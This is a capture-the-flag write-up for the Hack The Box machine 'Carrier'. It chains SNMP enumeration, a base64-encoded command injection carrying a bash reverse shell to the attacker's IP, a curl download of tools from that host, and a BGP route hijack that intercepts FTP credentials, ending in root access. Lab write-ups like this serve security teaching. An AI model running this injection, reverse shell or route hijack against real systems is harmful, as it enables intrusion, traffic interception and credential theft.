This is the write-up for the box Carrier that got retired at the 16th March 2019. My IP address was 10.10.14.17 while I did this.
Let's put this in our hosts file:
10.10.10.105 carrier.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/carrier.nmap 10.10.10.105
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDP port scan:
nmap -sU 10.10.10.105
PORT STATE SERVICE
67/udp open|filtered dhcps
161/udp open|filtered snmp
Noteworthy:
- FTP is filtered and thus there is some firewall inbetween
- OpenSSH 7.6p1 belongs to Ubuntu Bionic Beaver
- Apache 2.4.18 belongs to Ubuntu Xenial
This means that there is a mismatch in distribution versions and eventually some virtualization running in the background.
On the web page is a login form to an application called Lyghtspeed and it shows two error codes:
Searching the Internet does not find anything about this application, so it is most likely a custom application. Lets search for hidden directories with Gobuster:
gobuster -u http://10.10.10.105 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
It finds some interesting directories:
- /tools
This directory is an index page with one file called remote.php. When clicking on it, it shows a message:
License expired, exiting...
- /doc
This directory is an index page with two files diagram_for_tac.png and error_codes.pdf. The image file shows some network information:
The PDF file seems to be a manual for the Lyghtspeed Management Platform and shows descriptions to error codes:
So error code 45007 says that the certificate is invalid or expired, which explains why remote.php did not work. The error code 45009 says that the password for admin is the chassis serial number, which could be found in the SNMP strings.
Lets enumerate the default SNMP community string "public":
snmpwalk -v2c -c public 10.10.10.105
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
The part after the "SN#" looks like the serial number. Access is granted with the user admin and "NET_45JDX23".
After logging into the Lyghtspeed platform, it shows a dashboard, diagnostics and tickets menu. Two tickets from Castcom, that were also in the diagram_for_tac.png as AS300, are some hints for the next steps:
- Networks:
- 10.120.15.0/24
- 10.120.16.0/24
- 10.120.17.0/24
- FTP service on the 10.120.15.0/24 network, which could be the FTP service from the initial Nmap scan
- BGP: Border Gateway Protocol to exchange routing and reachability information among autonomous systems (AS) on the Internet
The diagnostics menu has a "Verify Status" button that shows some process information:
After sending this to a proxy tool like Burpsuite and analyze it, it requests the data "check=cXVhZ2dh" which Base64-decoded translates to "quagga":
echo 'cXVhZ2dh' | base64 -d
The software Quagga is an Open-Source routing software that supports various routing protocols including BGP. As the screenshot shows, this feature seems to filter for the word "quagga" so when Base64-encoding the string "root" and sending the request, it filters for that:
POST /diag.php HTTP/1.1
(...)
check=cm9vdA==
This shows all processes that contain the word root which means that in the background it runs grep
.
Adding another command to the request by using a semicolon:
echo 'root; echo "Test"' | base64
POST /diag.php HTTP/1.1
(...)
check=cm9vdDsgZWNobyAiVGVzdCIK
The response also displays "Test" and proofs command execution, so lets start a reverse shell connection:
echo 'root; bash -i >& /dev/tcp/10.10.14.17/9001 0>&1' | base64
POST /diag.php HTTP/1.1
(...)
check=cm9vdDsgYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNy85MDAxIDA+JjEK
After URL-decoding the Base64-string and sending the request, the listener on my IP and port 9001 starts a reverse shell connection as root.
This is not the target machine yet as the hostname
is r1 and ifconfig
shows the following IP addresses:
- eth0: 10.99.64.2
- eth1: 10.78.10.1
- eth2: 10.78.11.1
The file /proc/1/environ also shows that this is a LXC container instance:
container=lxc
Enumerating ARP table with arp
:
Address Iface
10.99.64.1 eth0
10.78.11.2 eth2
10.99.64.251 eth0
10.78.10.2 eth1
Enumerating network connections with netstat -alnp
:
127.0.0.1:2601 0.0.0.0:* LISTEN 2872/zebra
127.0.0.1:2605 0.0.0.0:* LISTEN 2876/bgpd
0.0.0.0:179 0.0.0.0:* LISTEN 2876/bgpd
0.0.0.0:22 0.0.0.0:* LISTEN 485/sshd
:::179 :::* LISTEN 2876/bgpd
:::22 :::* LISTEN 485/sshd
Enumerating cronjobs with crontab -l
:
*/10 * * * * /opt/restore.sh
Contents of /opt/restore.sh:
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga
Contents of /etc/quagga/bgpd.conf:
(...)
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 route-map to-as300 out
(...)
These are the connections that were shown in the diagram_for_tac. The command vtysh starts the Quagga shell where this configuration can also be seen. This command line is similar to Cisco devices.
Pinging the IP 10.120.15.1 with the FTP service works and 10.10.10.105 also responds back. A better way to enumerate the network is to upload a static Nmap binary onto this box to scan for services.
curl 10.10.14.17/static_nmap -o nmap
chmod +x nmap
Scanning for open port 21 on 10.120.15.0/24:
./nmap -Pn -p 21 10.120.15.0/24 --open
Nmap scan report for 10.120.15.10
PORT STATE SERVICE
21/tcp open ftp
It found the client 10.120.15.10 with port 21 open and connecting to the FTP service via anonymous login works, but the dir
command responds with the error code 500:
ftp 10.120.15.10
ftp> dir
500 Illegal PORT command.
All the information collected has something to do with BGP so lets attack that protocol.
There are two networks and with the Quagga shell it is possible to trace which of those route to 10.120.15.10:
vtysh
r1# show ip route 10.120.15.10
Routing entry for 10.120.15.0/24
Known via "bgp", distance 20, metric 0, best
Last update 00:00:40 ago
* 10.78.11.2, via eth2
The network 10.78.11.0/24 (AS300) routes there.
More BGP information:
r1# show ip bgp summary
Neighbor V AS
10.78.10.2 4 200
10.78.11.2 4 300
We rename /opt/restore.sh so that it does not reset our configurations and can start a BGP Hijack by advertising our own route:
r1# configure t
r1(config)# router bgp 100
r1(config-router)# network 10.120.15.0/25
r1# clear ip bgp * out
Sniffing the traffic with tcpdump
for FTP packets:
tcpdump -i any -w ftp-1.pcap port 21
After sniffing for a little while, the PCAP file can be downloaded to our local client for analysis with Wireshark. It shows the captured packets, but the TCP handshake never completes.
This happens because the route from AS200 sends the packets to us (AS100) and forwards them from there to AS300 where the FTP server is.
r1# show ip bgp neighbors 10.78.11.2 advertised-routes
Network Next Hop
10.120.15.0/25 10.78.11.1
So the advertising route to AS300 (10.78.10.0/24) has to be blocked:
r1# conf t
r1(config)# ip prefix-list Hijack permit 10.120.15.0/25
r1(config)# route-map to-as300 deny 5
r1(config-route-map)# match ip address prefix-list Hijack
r1# clear ip bgp * out
The new configurations is successfully deployed:
r1# show running-config
(...)
ip prefix-list Hijack seq 5 permit 10.120.15.0/25
!
route-map to-as300 deny 5
match ip address prefix-list Hijack
(...)
Now configuring the route to AS200 that when a packet reaches it, it shall not advertise the packet to anyone:
r1# conf t
r1(config)# route-map to-as200 permit 5
r1(config-route-map)# match ip address prefix-list Hijack
r1(config-route-map)# set community no-export
r1(config-route-map)# end
r1# clear ip bgp * out
Sniffing the traffic with tcpdump
for FTP packets again:
tcpdump -i any -w ftp-2.pcap port 21
After sniffing for a little while, the PCAP file can be downloaded to our local client for analysis with Wireshark. It shows the captured packets and FTP login credentials:
BGPtelc0rout1ng
Logging in on the FTP service from the current box with root and following the steps from the screenshot:
ftp 10.120.15.10
ftp> binary
ftp> passive
ftp> dir
-r-------- 1 0 0 33 Jul 01 2018 root.txt
-rw------- 1 0 0 33 Nov 28 17:33 secretdata.txt
The password also works on the main box 10.10.10.105 via SSH and gets us root on the box!
ssh root@10.10.10.105